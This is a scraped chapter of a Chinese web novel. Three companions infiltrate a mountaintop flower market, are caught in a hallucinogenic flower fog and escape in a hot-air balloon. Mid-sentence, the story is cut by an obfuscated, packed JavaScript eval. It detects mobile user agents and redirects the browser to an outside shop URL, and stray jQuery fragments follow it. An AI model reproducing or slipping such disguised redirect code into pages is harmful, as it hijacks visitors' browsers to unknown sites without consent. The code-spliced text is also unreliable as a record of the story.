默认冷灰
24号文字
方正启体

21. 雾里看花

作者:招牌老吃货本书字数:K更新时间:
    沈沉璧轻轻抚摸着璇玑匣,仿佛上面还残存着母亲的温度。


    匣面通体光滑温润,漆面泛着淡淡的冷光。匣子中央镶嵌着一枚圆形碧玉,碧玉上刻着“沉璧”二字。指节轻扣匣面,里面传来阵阵沉闷的响声。沈沉璧推开匣底的三角木板,再倒转过来仔细看了看匣面,匣子没有任何反应。


    难怪杜康十二年都未能打开此匣,原来它是由特殊的榫卯结构组装而成。母亲生前嗜好研究鲁班之术,其术鬼斧神工无人能解。


    思及此,沈沉璧的眸色又黯淡下来。直觉告诉她,璇玑匣中定有乾坤,或许她能从中找到关于母亲身亡的线索。正愁眉紧锁间,沈沉璧忽觉手中一空,璇玑匣便被人拿了去。


    “东有扶桑,西有涅槃。这匣子摸着如玉般温润,莫不是涅槃木所制?此木遇热则发,遇寒则缩,或许我可以帮你打开它。”


    陆遇寻了壶热茶,提起壶柄就要将滚烫的茶水浇在璇玑匣上。沈沉璧心下惊愕正要上前阻止,却见许砚捂住壶口一把将它夺了回来。沸水洒出壶口,烫红了他的手面。


    “所谓涅槃木不过传说罢了,倘若此匣并非神木所制,你弄坏的可是沈沉璧母亲留下的唯一遗物。”


    许砚不动声色地遮住烫红的手面,将璇玑匣递给沈沉璧。陆遇的面上掠过恍然之色,连忙笑意盈盈地给沈沉璧赔罪。沈沉璧知他并非成心,虽心中后怕却也不与他计较,只有许砚看他的目光多了几份深意。


    “对了,你让我办的事有眉目了,”许砚收回视线,从怀里拿出一片薄薄的竹笺,“朝颜露事发后,城南那家酿酒坊便人去楼空,但我查到它酿酒所用的翠蕤都源自同一家空中花市。”


    沈沉璧接过竹笺,上面绘着形态各异的花,右下角则标有甲等字样,似是一种进出凭证。沈沉璧心下决定,去探探这空中花市。


    为了掩饰身份,三人皆简单易容、乔装打扮了一番。直到确定非熟人不能辨出其貌后,三人才决定上路。


    花市位于陵阳的一座深山上。越过崎岖的山路,三人千辛万苦爬至山顶才知空中花市其实是在对面的山头上,这座山不过是去往花市的必经之路。但两山之间云雾缭绕,只有深不见底的悬崖峭壁,并无桥梁相连。


    “你们看,那是什么?”陆遇指着远处喊道。


    沈沉璧顺着他手指的方向望去,但见对面山头飞来一只巨大的球形布袋,若凝神细看,布袋下勾着个竹编篓子,里头能容纳数人。布袋飞至沈沉璧等人身前时便落了下来,篓子里走出一个身着百花裙的女子。


    女子朝他们作了个揖,细细检阅了三人的通行竹笺后,方才请他们上了竹篓。从这引路女子口中,三人得知球形布袋名为“翳鸟”,专载客人进出空中花市。沈沉璧心中暗忖此法之狡猾,翳鸟是否起飞全凭花市决定,但凡进出之人有任何异样就会被扣留,根本无法自行下山。思及此,沈沉璧心中愈发寒了几分。


    约莫半个时辰后,三人在花市前落了下来。真正的花市不仅建在深山,且在山顶建造了一顶空中楼阁。阁中遍地都是奇珍异花,甚至有些只能存活于极寒之地的花草都能在此见到。花市里摩肩接踵,到处都是赏花之人。三人逛遍了花市,都未见到翠蕤。本想寻人问问,迎面却撞上个人。


    “哪个不长眼的敢撞老子!”说话的是个喝得醉醺醺的男子,扬起手就要朝沈沉璧劈来,胳膊提到半空又忽然停下来,“原来是个貌美的小娘子,亲哥哥一口哥哥就不计较了……”


    他的污言秽语被许砚一掌扇了回去。这一巴掌甩得那人往后连连趔趄,酒醒半分后冲上来就要与许砚厮打。许砚也不同他迂回,提起剑就要抹了他脖子,剑刃刚抵上那人脖颈时,忽被一双纤细的柔夷按住。


    “眼前分明是位俊俏风流的公子,此人眼瞎心盲、醉酒撒泼是花市之责,还望几位公子将他交予我处理。”


    女子走上前,朝沈沉璧微微颔首。她戴着薄纱斗笠,身着曳地衣裙,裙摆上绣满了各色鲜花,宛若花间仙子般,自带出尘气息。沈沉璧虽看不清她的面貌,但却见她手心有颗红痣。


    待沈沉璧点头同意,女子才回头在侍女耳旁低语了几句。她的声音极其轻微,沈沉璧忧心闹出什么事来便摘下药囊细听,却在听到二人的耳语后眸色微沉。


    卢员外也曾在此撒过泼,且是花市的常客。


    “今日之事是花市招待不周,小女子作为花市主人特邀几位观览花展。”


    女子吩咐完侍女后,向三人做了个请的姿势。沈沉璧蹙眉望着她,这女子处惊不变、举止得体,确有花市之主的仪态。只是她长处花市,身上却有一股极淡的苦味,非花之清香,非草之清新,倒像是药味儿。


    花市之主盛情邀请,三人也不便拒绝,便随她前去观览花展。行至半途却见一个侍女急色匆匆地跑来,说是花展在准备时出了意外,须得这女子亲自去瞧瞧。与沈沉璧等人表示歉意后,女子便先行离开了。


    引路的侍女带着三人兜兜转转,终于来到了一处水晶花房。虽说这是间花房,可却有一条潺潺溪流贯穿左右。溪流旁摆设着精致的小桌木椅,各色果盘酒水堆砌其上。沈沉璧正准备落座时,忽见几叶扁舟随着溪流缓缓驶来。


    小舟上缀满郁郁葱葱的翠蕤,满目的蓝色花瓣令人眼前一阵晕眩。最后驶出的小舟上坐着个头戴斗笠的女子,她左手抱着只木箱子,右手执着羽毛小扇,正是方才的花市主人。沈沉璧正看得入神,忽觉身旁的许砚靠了过来。


    “你那药馕可系好了?”


    他这莫名其妙的话令沈沉璧颇感疑惑,许砚见她愣神看着他,便伸手摸了摸她的腰间,将药馕系了两个死结后方才放心。二人刚说完话,便听得陆遇在旁兴奋地叫喊起来。沈沉璧回首望去,溪边忽而升起浓雾,雾气笼罩住水中小舟,使得那蓝色翠蕤看起来愈发妖冶。


    “不好,捂住口鼻!”沈沉璧低声喊道。


    听到她的提醒,许砚连忙以袖掩住口鼻。陆遇离得稍远,根本没听清她在说什么,喝醉了似的站在溪边手舞足蹈起来。


    他时而举


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144449|196370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起空酒杯吟诗诵赋,时而挥毫写文大放厥词,时而冲过来抱着沈沉璧胡说八道。许砚见他疯疯癫癫,提起剑鞘便将他劈晕。沈沉璧心知此地不宜久留,与许砚抬起陆遇便走,却被一行人拦住了去路。


    方才的斗笠女子从小舟上走了下来。她摆了摆手,几个身强力壮的汉子便冲了上来。沈沉璧紧紧盯着眼前的女子,她的手心并无红痣,与方才的花市之主根本不是同一人,但这女子身上同样有股苦药味儿。


    “抓起来,别让他们跑了!”


    女子的声音带着狠厉,沈沉璧心下一惊拉起许砚便跑。观览花展的人此刻都如陆遇般,举止疯癫地在花房狂舞。他们的脸上含着诡异的笑意,似乎在做一场与现实割裂的美梦。沈沉璧与许砚好不容易从这些狂欢的人群中冲了出来,却在跑到山顶时停住了脚步。


    若要离开必须得借助翳鸟,而他们根本不会驾驭它。


    眼见着后面的人就要追上来,沈沉璧再也顾不上其他,拉着许砚翻身跳入竹篓。她记得来时那侍女点燃了球形布袋下的油脂,于是吹起火折子点燃了它。


    翳鸟摇摇晃晃地升了起来,山间的风很快便将它吹向了高空。沈沉璧伏在竹篓上望向花市,那些人已在视线之中远去。见暂且脱险,沈沉璧靠着竹篓坐了下来,垂首望向晕死的陆遇。


    “他没事吧?”


    “你还有闲暇关心这拖油瓶呢,现下我们该担忧担忧自己。”


    许砚侧过头,示意沈沉璧往下望。沈沉璧这才发现,他们此刻正处于两座山顶之间,身下便是云雾缭绕的万丈悬崖。若是任由翳鸟这样随意飘下去,待头顶的油脂烧完时他们便会坠入悬崖粉身碎骨。


    沈沉璧蹙紧眉头,他与许砚从未见过这翳鸟,根本不知该如何操纵它。正一筹莫展之际,脚下的陆遇忽然翻了个身,恰好扯住了竹篓底的麻绳。翳鸟在风中剧烈地晃动了两下,直到陆遇又翻回了身才恢复平稳。


    “这条绳子似乎可以控制方向,”许砚脸上掠过了然之色,望着陆遇的眼神更多了几分深意,“我们可以试着用绳子操控翳鸟,只是前方有浓雾遮挡,完全看不清方向。”


    “前路我来辨,你只管按照我的指引来。”


    沈沉璧神色笃定地看向许砚,未加犹豫便扯下腰间的药馕。霎时,山间的寒气如巨浪般袭来,沈沉璧颤颤巍巍地直起身,只觉无数把利刃剜向她的眼睛。可生死之际容不得后退,她只能强忍剧痛睁大眼睛,在浓雾中寻找另一座山头。


    不知摸寻了多久,沈沉璧才得以看清对面山头所在。她急忙喊上许砚,与他合力拉着麻绳往对面而去。直到二人筋疲力尽,翳鸟才终于安全落地。


    长舒一口气后,沈沉璧瘫软在竹篓之中。疼痛感已然消散,此刻她只觉浑身麻木,很想沉沉睡去。正欲阖眼歇息,耳边忽而传来许砚焦急的喊声。


    沈沉璧循着喊声望去,却并未看到许砚的脸,眼前只有朦朦胧胧的人影。几滴黏腻的液体顺着眼眶流下,沈沉璧抬手去接,嗅到了浓烈的血腥味。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)